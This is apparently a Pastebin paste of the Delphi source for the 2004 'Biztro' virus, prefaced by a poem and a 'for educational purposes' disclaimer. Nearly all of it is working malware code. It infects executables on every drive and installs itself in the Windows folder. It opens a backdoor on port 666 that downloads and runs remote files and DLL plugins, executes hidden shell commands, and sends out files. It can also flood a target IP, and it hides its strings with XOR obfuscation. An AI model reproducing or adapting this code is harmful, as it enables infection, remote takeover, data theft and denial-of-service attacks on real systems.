Advertisement
FlyFar

Biztro.code.dpr

Jun 7th, 2023
953
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 24.64 KB | Cybersecurity | 0 0
  1.      { well first see what i do in my sad times... he... }
  2.    {   *Biztro*
  3.  
  4.    See the sky
  5.    well now it is a little bit dark
  6.    just like your eyes...
  7.    smell the air...
  8.    forget the pain...
  9.  
  10.    Make me forget
  11.    make me wish
  12.    can you make me dream?
  13.    teach to me please...
  14.  
  15.    Where you come from?
  16.    from my mind?
  17.    are you behind my eyes?
  18.    or you just look me behind
  19.    that very dark glass?
  20.  
  21.    See my face, can you see
  22.    all the pain?
  23.    can you feel that in the air?
  24.    can you see what i wish?
  25.    The reason why I am here?
  26.  
  27.    Keep this secret with you
  28.    run...
  29.    just run...
  30.    forget me..
  31.    i never exists...
  32.    i never say this...
  33.    i don't belong here...
  34.    }
  35.    {Byt3Cr0w/GEDZAC 2004 (C)}
  36.    {------------------------------------}
  37.    { Biztro Virus - designed & coded by Byt3Cr0w/GEDZAC }
  38.    { Started: 23/10/2004 - Finish: 9/11/2004 }
  39.    { Dedicated to: All Gedzac members - Falckon (hey Bro!) - & - BlackRose (hi sister! :))}
  40.    { I make this program/virus just for educational porpouses }
  41.    { I don't spread this program/virus and i will never do that }
  42.    { Use this code just for education & fun! }
  43.    { If you make some changes or spread this program/virus you will be responsible! }
  44.    { Important: the author is not responsible for any damage that occurred from the use of this program. }
  45.    { if you are not agree with this terms then please erase this sourcecode from your Hard Disk. }
  46.    {Warning: This is a BETA version so maybe you will find some errors... }
  47.    {if you find bugs or errors please send me an email and i will fix that...
  48.    { email: byt3cr0w@gedzac.zzn.com }
  49.    {---------------Have Fun!-------------}
  50.  
  51.  
  52.    program Biztro;
  53.    uses
  54.      Windows,
  55.      WinSock,
  56.      SysUtils,URLMON,ShellApi;
  57.    const SP = #13#10; BufX = 2000; virussize=30208;
  58.          d0z = 'žš¸PN”ÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôÎN~vz`~`tvr~z`~|vzxt~|z~|z`~|zvt|zx|zvt~|zv~xp|z~vr|zrbx~z|~z|rx~z||Nbv`pp'+
  59.                'p~`vx|xp`~z~xz`~z~pp~rz~r|zr|zrb|zrpbz|pzpN”ÂäøôΔÂäøôΔÂäøôÎ`~v~v~v`~xvt~|xvt~x|vt~|”ÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôÎp`~xvvt~|x~vtr|x~vtr|x|vtxNbvt`x`tvr”ÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂ'+
  60.                'äøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôΔÂäøôÎpppppNppppppppppppppppppppppppppppppppppppppp´ÚöðÚÖø¸ÀÚ–ÎØÂÌÞ’ôøppppppppppppppppppppppppppp'+
  61.                'ppppppppppppppppppppppppppppNNNNNNNLLLLLLLLLLLNNNNNLLNNNLLLLLLLLLLLLLLNNNNNNNNNNNNNNNNNNNNNNNLLLLLLNNNNNNNNLLLNNLLNNLNNNNNNNNNLLLLNNNNNLLNLNLNN';
  62.    //Thnx To Sickbyte/Primatelost for the Flood Idea//
  63.    var x,OhRead,OhWrite,CTS,me,current,oupz:integer; shutdownx: Boolean = False;
  64.    j,RID,RSS,IT,CP,filename,exec_lines,about,doztar: string;ID:dword;
  65.    f1,f2:file;silence:word;
  66.    bufete:array[1..virussize] of char;
  67.    clock:TSystemTime;
  68.  
  69.    procedure sendback(const delivery:string );
  70.    begin
  71.    send(x,pointer(delivery)^,length(delivery),0);
  72.    end;
  73.  
  74.    function winpath:String;
  75.    var winfol:pchar;
  76.    WTama : dword;
  77.    begin
  78.    WTama := MAX_PATH + 1;
  79.    GetMem( winfol, WTama );
  80.    try
  81.    if Windows.GetWindowsDirectory( winfol, WTama ) <> 0 then
  82.    Result := winfol;
  83.    finally
  84.    FreeMem(winfol);
  85.    end;
  86.    end;
  87.  
  88.    function Petition(m:integer):boolean;
  89.    begin
  90.    CTS := 1;
  91.    IT := '100';
  92.    try
  93.    if m = 1 then begin
  94.    if CTS >= StrToInt(IT) then Result:=False{Reject New Thread Petition} else
  95.    begin
  96.    Result:=true; {Accept New thread Petition}
  97.    Inc(CTS);
  98.    end;
  99.    end;
  100.    except Result := true; exit; end;
  101.    if m = 2 then CTS := CTS - 1;
  102.    end;
  103.  
  104.  
  105.    Function d(things:string):string;
  106.    var newx,s:string;
  107.        LlL,OoO,o,r:integer;
  108.    begin
  109.    o := strlen(pchar(things));
  110.    For r := 1 to o do begin
  111.    s := s + chr(ord(things[r]) div 2)
  112.    end;
  113.    LlL := strLen(PChar(s));
  114.    For OoO := 1 to LlL do begin
  115.    newx := newx + chr(ord(s[OoO]) xor 8);
  116.    end;
  117.    Result := newx;
  118.    end;
  119.  
  120.    procedure D0zIt;
  121.    var sadd:TSockAddr;D0zDat:TWSAData;D0zSock:TSocket;
  122.    label gogogo;
  123.    begin
  124.     WSAStartup($101,D0zDat);
  125.      D0zSock := Socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
  126.      if D0zSock = INVALID_SOCKET then exit;
  127.      with sadd do begin
  128.        sin_family := AF_INET;
  129.        sin_port := htons(80);
  130.        sin_addr.S_addr := Inet_Addr(pchar(doztar));
  131.      end;
  132.      if not Connect(D0zSock,sadd,SizeOf(sadd)) = 0 then exit;
  133.      gogogo:
  134.      Send(D0zSock,pointer(d(d0z)+sp)^,length(d(d0z)+sp),0);
  135.      goto gogogo;
  136.    end;
  137.  
  138.    procedure bye(Sock:Integer);
  139.    begin
  140.      ShutDown(Sock,2);
  141.      CloseSocket(Sock);
  142.    end;
  143.  
  144.  
  145.    procedure Doz(m:string);
  146.    var x1:string;
  147.        e:integer;
  148.    begin
  149.    if doztar <> '' then exit;
  150.    shutdownx := true;
  151.    Bye(x);
  152.    x1:=m;
  153.    Delete(x1,1,3);
  154.    doztar:=x1;
  155.    CreateThread(nil,0,@D0zIt,nil,0,ID); //We don't care the Max. Threads...we create one thread for the D0z
  156.    for e:= 1 to 5 do if Petition(1) then CreateThread(nil,0,@D0zIt,nil,0,ID);
  157.    //We Make some petitions for create 5 more Threads...
  158.    end;
  159.  
  160.  
  161.    function cutwin:string;
  162.    var i:integer;s,x:string;
  163.    begin
  164.    for i := Length(winpath) downto 0 do s :=s+winpath[i]; i:=0;
  165.    for i := 0 to Length(s) do if s[i] <> d('¨') then Result := Result + s[i] else break; i:=0;
  166.    for i := Length(Result) downto 0 do x:=x+Result[i]; i:=0;Result := x;
  167.    end;
  168.  
  169.    function OwnedCell(CellTarget:string):boolean;
  170.    var Buff3:array[1..VirusSize] of Char;
  171.    P4m,Eip:file;
  172.    p0p,pu5h,iox:integer;
  173.    BioCell:string;
  174.    begin
  175.    filemode:=2;
  176.    {$I-}
  177.    AssignFile(Eip,CellTarget); Reset(Eip, 1); CloseFile(Eip);
  178.    {$I+}
  179.    iox := IOResult; FileMode := 0 ;
  180.    if iox = 0 then begin
  181.    AssignFile(P4m,CellTarget);
  182.    reset(P4m,1); Seek(P4m,FileSize(P4m)-6); BlockRead(P4m,Buff3,sizeof(Buff3),pu5h);
  183.    For p0p := 1 to sizeof(Buff3) do BioCell := BioCell + Buff3[p0p];
  184.    if Pchar(BioCell) = d('”ÂäøôŽ') then result :=true else Result :=false;
  185.    closefile(P4m);
  186.    end else Result := false;
  187.    end;
  188.  
  189.    Procedure OwnCell(Prozak2S:String);
  190.    Var
  191.     Prozak1S,ZXC1:String;
  192.     Prozak1,Prozak2,ProzakGedzac1:File;
  193.     GEDZAC,GROUP:Integer;
  194.     Buf: array[1..2048] of Char;
  195.    Begin
  196.     if OwnedCell(Prozak2S) = false then
  197.     begin
  198.     Prozak1S:=winpath+d('¸ÚÊð¨”ÂäøôÎLÚàÚ');
  199.     CopyFile(pchar(ParamStr(0)),Pchar(Prozak1S), FALSE);
  200.     ZXC1:=Prozak2S+d('LøÊð'); FileMode:=0;
  201.     AssignFile(Prozak1, Prozak1S); Reset(Prozak1,1);
  202.     AssignFile(Prozak2, Prozak2S); Reset(Prozak2,1);
  203.     AssignFile(ProzakGedzac1, ZXC1); Rewrite(ProzakGedzac1, 1);
  204.     Repeat
  205.    BlockRead(Prozak1, Buf, SizeOf(Buf), GEDZAC); BlockWrite(ProzakGedzac1, Buf, GEDZAC, GROUP);
  206.     Until (GEDZAC = 0) or (GROUP <> GEDZAC);
  207.     Repeat
  208.    BlockRead(Prozak2, Buf, SizeOf(Buf), GEDZAC); BlockWrite(ProzakGedzac1, Buf, GEDZAC, GROUP);
  209.     Until (GEDZAC = 0) or (GROUP <> GEDZAC);
  210.     BlockWrite(ProzakGedzac1,'BiztrO',6); CloseFile(ProzakGedzac1);
  211.     CloseFile(Prozak1); CloseFile(Prozak2);
  212.     CopyFile(Pchar(ZXC1),Pchar(Prozak2S), FALSE); DeleteFile(Pchar(ZXC1));
  213.    End; End;
  214.  
  215.    procedure Scan(folder:Ansistring);
  216.    var buscame  : TSearchRec;
  217.        encontrado    : String;
  218.        anne : Integer;
  219.        tipo:AnsiString;
  220.    begin
  221.    silence := SetErrorMode(SEM_FailCriticalErrors);
  222.    Tipo := d('DLÚàÚ');
  223.       if folder[Length(folder)] <> d('¨') then folder := folder +d('¨');
  224.       anne := FindFirst(folder + d('DLD'), faAnyfile,buscame); while anne = 0 do
  225.        begin
  226.          if (buscame.name <> '.') and (buscame.name <> '..') and (buscame.name <> cutwin) then
  227.            if buscame.Attr and faDirectory > 0 then
  228.            begin
  229.  
  230.            Scan(folder+buscame.Name);
  231.            end;
  232.          anne := FindNext(buscame);
  233.        end;
  234.       if folder[Length(folder)] <> '\' then folder := folder + '\';
  235.       anne := FindFirst(folder+tipo, faAnyFile - faDirectory,buscame);
  236.       while anne = 0 do
  237.        begin
  238.          if(buscame.name <> '.') and (buscame.name <> '..') and (buscame.name <> '')
  239.             then begin
  240.                   encontrado := folder + buscame.name;
  241.               OwnCell(encontrado);
  242.  
  243.                  end;
  244.          anne := FindNext(buscame);
  245.        end;
  246.    end;
  247.  
  248.  
  249.    function ScanCells:integer;
  250.    var A:char;
  251.    begin
  252.    silence := SetErrorMode(SEM_FailCriticalErrors);
  253.    for A := 'A' to 'Z' do if fileexists(A+d('d¨Œºˆˆ')) then Scan(A+d('d¨'));
  254.    Petition(2);
  255.    end;
  256.  
  257.    procedure InfectCenter;
  258.    var A:char;
  259.    begin
  260.    silence := SetErrorMode(SEM_FailCriticalErrors);
  261.    if Petition(1) then CreateThread(nil,0,@ScanCells,nil,0,ID) else
  262.    begin
  263.    for A := 'A' to 'Z' do if fileexists(A+d('d¨Œºˆˆ')) then Scan(A+d('d¨'));
  264.    Petition(2);
  265.    end;
  266.    end;
  267.  
  268.  
  269.    procedure aislamiento(const m:integer);
  270.    var i,b:integer;
  271.    Ou: TProcessInformation;
  272.    Uo: TStartupInfo;
  273.    begin
  274.    FillChar(Ou, sizeof(TProcessInformation), 0);
  275.    FillChar(Uo, sizeof(TStartupInfo), 0);
  276.    Uo.cb := sizeof(TStartupInfo);
  277.    Randomize;
  278.    if not DirectoryExists(d('–d¨¾‚Œ˜Ž¾¶¨œŽŒ¸¶¨œÎÌøöœÂÈÚö¨')) then CreateDirectory(Pchar(d('–d¨¾‚Œ˜Ž¾¶¨œŽŒ¸¶¨œÎÌøöœÂÈÚö¨')),nil);
  279.    b := Random(StrToInt(d('bbbbb')));
  280.    FILENAME := winpath+d('¨œÎÌøö¨œÎÌøöœÂÈÚö')+InttoStr(b)+d('LÚàÚ');
  281.    if m = 1 then begin if DirectoryExists(winpath+d('¨œÎÌøö¨')) then Filename := winpath+d('¨œÎÌøö¨¶ÚôüÂÖÚLÚàÚ') else begin createdirectory(Pchar(winpath+d('¨œÎÌøö¨')),nil); Filename := winpath+d('¨œÎÌøö¨¶ÚôüÂÖÚLÚàÚ'); end;
  282.    if m = 2 then Filename := winpath+d('¸ÚÊð¨”ÂäøôÎLÚàÚ');
  283.        assign(f1,paramstr(0)); assign(f2,filename);
  284.        filemode := 0; reset(f1,1); rewrite(f2,1);
  285.        seek(f1,virussize);
  286.        repeat
  287.        blockread(f1,bufete,2048,OhRead); blockwrite(f2,bufete,OhRead,OhWrite);
  288.        until (OhRead=0) or (OhWrite<>OhRead);
  289.        close(f1); close(f2); exec_lines:='';
  290.    if m = 1 then exit;
  291.       if paramcount>0 then for i:=1 to paramcount do exec_lines:=exec_lines+' '+paramstr(i);
  292.        if exec_lines <> '' then filename := filename + exec_lines;
  293.       if m = 0 then
  294.        begin
  295.        if CreateProcess(Pchar(filename), nil, nil, nil,false, NORMAL_PRIORITY_CLASS, nil, nil,Uo,Ou) <> False then begin
  296.        WaitForSingleObject(Ou.hProcess,INFINITE);
  297.        CloseHandle(Ou.hThread);
  298.        CloseHandle(Ou.hProcess);
  299.        DeleteFile(filename);
  300.        end;
  301.        end else ShellExecute(0,nil,PChar(filename),'','',SW_SHOWNORMAL);
  302.    end;end;
  303.  
  304.  
  305.    Function ex(things:string):string;
  306.    var newx,s:string;LlL,OoO,o,r:integer;
  307.    begin
  308.    LlL := strLen(PChar(things));
  309.    For OoO := 1 to LlL do begin
  310.    newx := newx + chr(ord(things[OoO]) xor 8)
  311.    end;
  312.    o := strlen(pchar(newx));
  313.    For r := 1 to o do begin
  314.    s := s + chr(ord(newx[r]) * 2)
  315.    end;
  316.    ex := s;
  317.    end;
  318.  
  319.  
  320.    function Username:string;
  321.    var zize: dword;
  322.    RainChar:array[0..255] of char;
  323.    begin
  324.    zize := 256;
  325.    if GetUserName(RainChar,zize) then
  326.    Result:=RainChar
  327.    else Result := d('”ÂäøôÎPÖÒÌøPÜÎúÌØPøÀÚPÔÎØâPÌÒÊÚ');
  328.    end;
  329.  
  330.  
  331.    function SendToShell(x:string):string;
  332.    var a:textfile;
  333.        ran1,ran2,m:string;
  334.        label wait;
  335.    begin
  336.    Randomize;
  337.    m := x;
  338.    Delete(m,1,3);
  339.    ran1 := IntToStr(Random(9999)+1) + d('LÔÒø');
  340.    if not DirectoryExists(winpath+'\Temp\IEDat') then CreateDirectory(Pchar(winpath+'\Temp\IEDat'),nil);
  341.    ran2 := winpath+'\Temp\IEDat\Biz0'+IntToStr(Random(9999)+1);
  342.    AssignFile(a,'C:\'+ran1);
  343.    rewrite(a);
  344.    writeln(a,d('ÖÊØLÚàÚPNÖP')+M+d('ll')+ran2);
  345.    closefile(a);
  346.    WinExec(Pchar(d('–d¨')+ran1),sw_HIDE);
  347.    wait:
  348.    sleep(500);
  349.    if not fileexists(ran2) then goto wait;
  350.    Deletefile(Pchar(d('–d¨')+ran1));
  351.    sendback(ran2);
  352.    end;
  353.  
  354.  
  355.    function Wakesock: Boolean;
  356.    var
  357.      anne: TWSAData;
  358.    begin
  359.      Result :=  WSAStartup( $101, anne ) = 0
  360.    end;
  361.  
  362.  
  363.    function LoadService(casa:integer): Integer;
  364.    var direc: TSockAddrIn;
  365.    begin
  366.      Result := Socket( PF_INET, SOCK_STREAM, IPPROTO_TCP );
  367.      if Result = INVALID_SOCKET then
  368.        Exit;
  369.      with direc do begin
  370.        sin_family := AF_INET;
  371.        sin_port := htons(casa);
  372.        sin_addr.S_addr := 0;
  373.      end;
  374.  
  375.      if Bind( Result, direc, SizeOf(direc) ) <> 0 then begin
  376.        Result := INVALID_SOCKET;
  377.        Exit;
  378.      end;
  379.  
  380.      if Listen(Result,5) <> 0 then
  381.        Result := INVALID_SOCKET;
  382.    end;
  383.  
  384.  
  385.    Function GetValue(txt:string):string;
  386.    var i,p,s:integer;
  387.    axe: string;
  388.    begin
  389.    p := 0;
  390.    For i := 1 to strLen(pchar(txt)) do begin
  391.    p := p +1;
  392.    if txt[i] = d('T') then begin
  393.    break;
  394.    end
  395.    end;
  396.    For s := p+1 to strLen(pChar(txt)) do begin
  397.    if txt[s] = d('T') then begin
  398.    break;
  399.    end;
  400.    axe := axe + txt[s];
  401.    end;
  402.    Result := axe;
  403.    end;
  404.  
  405.  
  406.    function BioSetup:string;
  407.    var a:textfile;
  408.        b,Setup:string;
  409.        fail:integer;
  410.    label try_again;
  411.    begin
  412.    fail := 0;
  413.    AssignFile(a,winpath+d('¨þÂÌØÒøLØÒø'));
  414.    if not Fileexists(winpath+d('¨þÂÌØÒøLØÒø')) then
  415.    begin
  416.    Setup := d('’jTrzT')+sp+
  417.             d('”jTšÌÒÔÈÚT')+sp+
  418.             d('–jTt|T')+sp+
  419.             d('˜jTpT');
  420.    rewrite(a); writeln(a,Setup); closefile(a);
  421.    Result := Setup;
  422.    end;
  423.    try_again:
  424.    Try
  425.    {-------Start Reading Bio Setup File-------}
  426.    {} reset(a);                              {}
  427.    {------------------------------------------}
  428.    {} //Re-Infection Day                     {}
  429.    {} readln(a,b);                           {}
  430.    {} RID := GetValue(b);                    {}
  431.    {} b := '';                               {}
  432.    {} //Remote Shell Status                  {}
  433.    {} readln(a,b);                           {}
  434.    {} RSS := GetValue(b);                    {}
  435.    {} b := '';                               {}
  436.    {} //Infecting Threads                    {}
  437.    {} readln(a,b);                           {}
  438.    {} IT := GetValue(b);                     {}
  439.    {} b := '';                               {}
  440.    {} //Current Plugins                      {}
  441.    {} readln(a,b);                           {}
  442.    {} CP := GetValue(b);                     {}
  443.    {} b := '';                               {}
  444.    {------------------------------------------}
  445.    {} closefile(a);                          {}
  446.    {}BioSetup:=d('–úôôÚÌøP¼ÚôöÂÎÌPjPrLp')+sp+{}
  447.    {}d('ŒÒÊÚPŽÜP‚ÌÜÚÖøÚØP”ÎØâPjP')+Username+ {}
  448.    {}sp+d('´ÚJ‚ÌÜÚÖøÂÎÌP˜ÒâPjP')+RID+sp+     {}
  449.    {}d('´ÚÊÎøÚP¶ÀÚÈÈP¶øÒøúöPjP')+RSS+sp+     {}
  450.    {}d('ŒúÊÔÚôöPŽÜP‚ÌÜÚÖøÂÎÌP¸ÀôÚÒØöPjP')+   {}
  451.    {}IT+sp+d('–úôôÚÌøP°ÈúÞÂÌöPjP')+CP;       {}
  452.    {--------End Reading Bio Setup File--------}
  453.    except rewrite(a); writeln(a,Setup); fail:=1;
  454.    end;
  455.    if fail = 1 then goto try_again;
  456.    end;
  457.  
  458.    procedure BioChange(const w:string;i:integer);
  459.    var a:textfile;
  460.        b,c,d2,n,x,m:string;
  461.        u:integer;
  462.    begin
  463.    m := w;
  464.    Delete(m,1,3);
  465.    AssignFile(a,winpath+d('¨þÂÌØÒøLØÒø'));
  466.    Reset(a);
  467.    if i = 1 then begin Readln(a,c); Readln(a,b); x:=b+sp; Readln(a,b); x:=x+b+sp; Readln(a,b); x:=x+b; end;
  468.    if i = 2 then begin Readln(a,b); Readln(a,c); Readln(a,n); x:=n+sp; Readln(a,n); x:=x+n; end;
  469.    if i = 3 then begin Readln(a,b); x:=b+sp; Readln(a,b); x:=x+b+sp; Readln(a,c); Readln(a,n); end;
  470.    if i = 31 then begin Readln(a,b); x:=b+sp; Readln(a,b); x:=x+b+sp; Readln(a,b); x:=x+b+sp; Readln(a,c); end;
  471.    if i <> 31 then Delete(c,3,length(c)-3);
  472.    if i = 1 then d2:= c+m+'"'+sp+x; if i = 2 then d2:= b+sp+c+m+'"'+sp+x; if i = 3 then d2:= x+c+m+'"'+sp+n;
  473.    if i = 31 then
  474.    begin
  475.    u:= StrToInt(GetValue(c));
  476.    if m = d('’ØØ') then Inc(u);
  477.    if m = d('˜ÚÈ') then Dec(u);
  478.    d2 := x+d('˜jT')+IntToStr(u)+d('T');
  479.    end;
  480.    rewrite(a);
  481.    writeln(a,d2); closefile(a);
  482.    if i = 15 then
  483.    begin
  484.    AssignFile(a,winpath+d('¨þvtÀÈðLÀÈð'));
  485.    try append(a); except rewrite(a); end;
  486.    writeln(a,m); closefile(a);
  487.    end;
  488.    SendBack(d('šr'));
  489.    end;
  490.  
  491.  
  492.  
  493.    function DownBytes(m:string;e:integer):boolean;
  494.    var rum,ex,x:string;
  495.        i:integer;
  496.    begin
  497.    try
  498.    Randomize;
  499.    rum := winpath+d('¨')+IntToStr(Random(99999));
  500.    Delete(m,1,3);
  501.    for i := Length(m) downto 0 do ex:=ex+m[i]; i:=0;
  502.    for i := 1 to Length(ex) do if ex[i] <> '.' then x:=x+ex[i] else break;i:=0;ex:='';
  503.    for i := Length(x) downto 0 do ex:=ex+x[i]; i:=0;
  504.    rum := rum+'.'+ex;
  505.    UrlDownLoadToFile(nil,Pchar(m),Pchar(rum),0,nil);
  506.    if e=2 then ShellExecute(0,nil,PChar(rum),'','',SW_SHOWNORMAL);
  507.    sendback(d('”r')+rum);
  508.    except end;
  509.    end;
  510.  
  511.  
  512.    function syspath:string;
  513.    var sysfolx:pChar;
  514.    begin
  515.    GetMem(sysfolx,100);
  516.    if GetSystemDirectory(sysfolx,100) <> 0 then Result := sysfolx;
  517.    FreeMem(sysfolx,100);
  518.    end;
  519.  
  520.  
  521.    procedure AddPlug(const s:string);
  522.    var plugdir,m:string;
  523.    begin
  524.    m := s;
  525.    Delete(m,1,3);
  526.    plugdir:= syspath+d('¨þÂÌ')+IntToStr(Random(99999))+d('LØÈÈ');
  527.    try
  528.    UrlDownLoadToFile(nil,Pchar(m),Pchar(plugdir),0,nil);
  529.    except exit; end;
  530.    BioChange(d('’ØØ'),31);
  531.    BioChange(plugdir,15);
  532.    try SetFileAttributes(PChar(plugdir),FILE_ATTRIBUTE_HIDDEN); except end;
  533.    LoadLibrary(Pchar(plugdir));
  534.    sendback(d('–r'));
  535.    end;
  536.  
  537.    function LoadPlugs:integer;
  538.    var a:textfile;
  539.        b:string;
  540.    label Load;
  541.    begin
  542.    AssignFile(a,winpath+d('¨þvtÀÈðLÀÈð'));
  543.    try Reset(a);
  544.    except exit; end;
  545.    Load:
  546.    readln(a,b);
  547.    if b <> '' then try LoadLibrary(Pchar(b)); except BioChange(d('˜ÚÈ'),31); closefile(a); exit; end;
  548.    if b <> '' then goto load;
  549.    closefile(a);
  550.    end;
  551.  
  552.    procedure MakeItDownload(const x:string);
  553.    var i:integer;
  554.        s,m,from:string;
  555.        begin
  556.    m := x;
  557.    Delete(m,1,4);
  558.    from := m;
  559.    for i:= 1 to Length(m) do if m[i] <> #32 then s:=s+m[i] else s:=s+d('F');
  560.    m := Copy(s,1,3);
  561.    Delete(s,1,3);
  562.    s := m+d('”Âäp')+s;
  563.    CopyFile(Pchar(from),Pchar(s),true);
  564.    sendback(d('˜r'));
  565.    end;
  566.  
  567.  
  568.     procedure sendf(const m:string);
  569.       var   vz:array [0..1023] of Char;
  570.        ozz,fw:integer;
  571.        iam:file;
  572.        z,afuera,noexists,fat,rum:string;
  573.        a:textfile;
  574.       begin
  575.       rum := d('”ÂäøôΞÚØäÒÖ')+IntToStr(Random(99999))+d('Løàø');
  576.       z := m;
  577.        Delete(z,1,5);
  578.    z := Copy(z, 1, Pos(D('€¸¸°Nr'), z) - 2);
  579.    noexists := d('”ÂäøôÎP”âP”âøv–ôpþNžš˜¤’–')+sp+d('”ÂäøôÎPÖÒÌøPÜÂÌØPøÀÂöPÜÂÈÚ')+sp+d('”ÂäøôÎPÌÎPðúÚØÚPÚÌÖÎÌøôÒôPÚÈPÒôÖÀÂüÎ')+z+sp+d('žÚØäÒÖPˆÒÔöPtppxPJPþþþLÞÚØäÒÖLøÆ');
  580.       if not fileexists(z) then
  581.       begin
  582.       z := d('–d¨')+rum;
  583.       AssignFile(a,z); rewrite(a); writeln(a,NoExists); closefile(a);
  584.       end;
  585.       fw := FileOpen(z,0);
  586.       fat := floattostr(getfilesize(fw,nil));
  587.       fileclose(fw);
  588.       AssignFile(iam,z);
  589.             filemode:=0;
  590.            try reset(iam,1); except end;
  591.        afuera := d('€¸¸°NrLrPtppPŽ†') + SP
  592.            + d('’ÖÖÚðøJ´ÒÌÞÚödPÔâøÚö') + SP
  593.            + d('–ÎÌøÚÌøJˆÚÌÞøÀdP')+fat + sp
  594.            + d('†ÚÚðJ’ÈÂüÚdPøÂÊÚÎúøjrzHPÊÒàjrpp') + sp
  595.            + d('–ÎÌÌÚÖøÂÎÌdP†ÚÚðJ’ÈÂüÚ') + sp
  596.            + d('–ÎÌøÚÌøJ¸âðÚdPÒððÈÂÖÒøÂÎÌNàJÊöØÎþÌÈÎÒØ') + sp + sp;
  597.               Send( x, Addr(afuera[1])^, Length(afuera), 0 );
  598.        repeat
  599.          BlockRead(iam,vz[0],SizeOf(vz),ozz);
  600.          if ozz<=0 then break; if send(x,vz[0],ozz,0)<=0 then break;
  601.        until ozz<>1024;
  602.        closefile(iam);
  603.        end;
  604.  
  605.  
  606.  
  607.    procedure RemoteModule(me:Pointer);
  608.    var
  609.      Data: array[ 0..8191 ] of Char;
  610.      w,z: Pointer;
  611.      l: Char;
  612.        begin
  613.      x := Integer(me);
  614.      repeat
  615.        current := Recv(x, Data, SizeOf(Data), 0 );
  616.        if current = 0 then
  617.          current := SOCKET_ERROR
  618.        else
  619.        begin
  620.          w := @Data;
  621.          z := Pointer(Integer(@Data) + current);
  622.          l := #0;
  623.          while Integer(w) < Integer(z) do begin
  624.            if (l = #13) and (Char(w^) = #10 ) then begin
  625.              Inc( Integer(w));
  626.              Continue;
  627.            end;
  628.            l := Char(w^);
  629.            if l = #13 then
  630.            begin
  631.                                     TRY
  632.        if     j = d('°')      then sendback(d('r'));
  633.        if Pos(d('ND¨'),j) > 0 then DownBytes(j,1);
  634.        if Pos(d('NF¨'),j) > 0 then DownBytes(j,2);
  635.        if Pos(d('Np¨'),j) > 0 then AddPlug(j);
  636.        if Pos(d('” –'),j) > 0 then if RSS = d('šÌÒÔÈÚ') then SendBack(SendToShell(j));
  637.        if Pos(d('Š‚˜'),j) > 0 then MakeItDownload(j);
  638.        if Pos(d('žš¸'),j) > 0 then sendf(j);
  639.        if Pos(d('h‚l'),j) > 0 then BioChange(j,1);
  640.        if Pos(d('hšl'),j) > 0 then BioChange(j,2);
  641.        if Pos(d('h¸l'),j) > 0 then BioChange(j,3);
  642.        if Pos(d('¶øÒ'),j) > 0 then sendback(BioSetup);
  643.        if Pos(d('˜D¤'),j) > 0 then Doz(j);
  644.                                 except end;
  645.            j := '';
  646.            end else
  647.              j := j + l;
  648.            Inc(Integer(w));
  649.          end;
  650.        end;
  651.      until current = SOCKET_ERROR;
  652.      bye(x);
  653.    end;
  654.  
  655.  
  656.    function StartService(Server,typex: Integer):string;
  657.    var anne: Integer;
  658.        yeah: Cardinal;
  659.    begin
  660.      anne := Accept( Server, nil, nil );
  661.      if anne <> INVALID_SOCKET then begin
  662.       if BeginThread( nil, 65536, @RemoteModule,Pointer(anne), 0,yeah) = 0 then
  663.          bye(anne);
  664.         end;
  665.         end;
  666.  
  667.    function LiveListen:integer;
  668.    begin
  669.      if not Wakesock then exit;
  670.      me := LoadService(666);
  671.      if me = INVALID_SOCKET then exit;
  672.      repeat
  673.        StartService(me,1);
  674.      until shutdownx;
  675.      bye(me);
  676.      WSACleanUp;
  677.      end;
  678.  
  679.  
  680.    procedure Install;
  681.    begin
  682.    aislamiento(0);aislamiento(1);
  683.    CreateThread(nil,0,@InfectCenter,nil,0,ID);
  684.    halt(0);
  685.    end;
  686.  
  687.    function payme_:integer;
  688.    var a : TRect;z: string;p:integer;
  689.    label go;
  690.    begin
  691.    Randomize;
  692.    go:
  693.    p := Random(2)+1;
  694.    if p = 1 then z := d('”Âäøôp') else z:= d('žÚØäÒÖPˆÒÔöPtppx');
  695.    a.Left := Random(1000);a.Top  := Random(700);
  696.    a.Right := Random(129999999);a.Bottom := Random(99990000);
  697.    DrawText( GetWindowDC( Getdesktopwindow()),Pchar(z ),length(z),a,0);
  698.    goto go;
  699.    end;
  700.  
  701.    function Bomb:integer;
  702.    var a:string;
  703.        b,c,d,e:integer;
  704.    begin
  705.    Randomize;
  706.    a := Username;
  707.    b := ord(a[1]);;
  708.    if ( b > 51) and (b < 101) then c:=1;
  709.    if (b > 101) and (b < 152) then c:=2;
  710.    if (b > 152) and (b < 203) then c:=3;
  711.    if (b > 203) and (b < 254) then c:=4;
  712.    if (b > 254) then c:=5;
  713.    d := Random(2)+1;e := Random(2)+1;
  714.    case c of
  715.    1: begin if d < 2 then Result:=6 else Result := Random(6)+1; end;
  716.    2: begin if d < 2 then Result:=12 else Result := Random(12)+1; end;
  717.    3: begin if d < 2 then Result:=18 else Result := Random(18)+1; end;
  718.    4: begin if d < 2 then Result:=24 else Result := Random(24)+1; end;
  719.    5: begin if d < 2 then if e < 2 then begin Result:=30 end else begin Result:=31 end else Result := Random(6)+1; end;
  720.    end;
  721.    end;
  722.  
  723.    begin
  724.  
  725.    BioSetup;
  726.    About := 'Biztro BETA version - By Byt3Cr0w/GEDZAC - maybe you will found some errors - wait for the final version';
  727.    GetlocalTime(Clock);
  728.    if Clock.Wday = Bomb then begin MessageBox(0,Pchar(d('¦J”ÂäøôŽPÔâP”âøv–ôpþNžš˜¤’–PJP¸ÀÒÌàPøÎPÒÈÈPžÚØäÒÖPÒÌØPÒPÔÂÞPøÀÒÌàPÜÎôPÊâPœÒÈÖÆÎÌP\P”ÈÒÖÆ´ÎöÚ')),Pchar(d('”ÂäøôŽ')),32); for oupz := 1 to 10 do Createthread(nil,0,@payme_,nil,0,ID); sleep($ffffffff); end;
  729.    aislamiento(2);
  730.    if not fileexists(winpath+d('¨œÎÌøö¨¶ÚôüÂÖÚLÚàÚ^')) then Install;
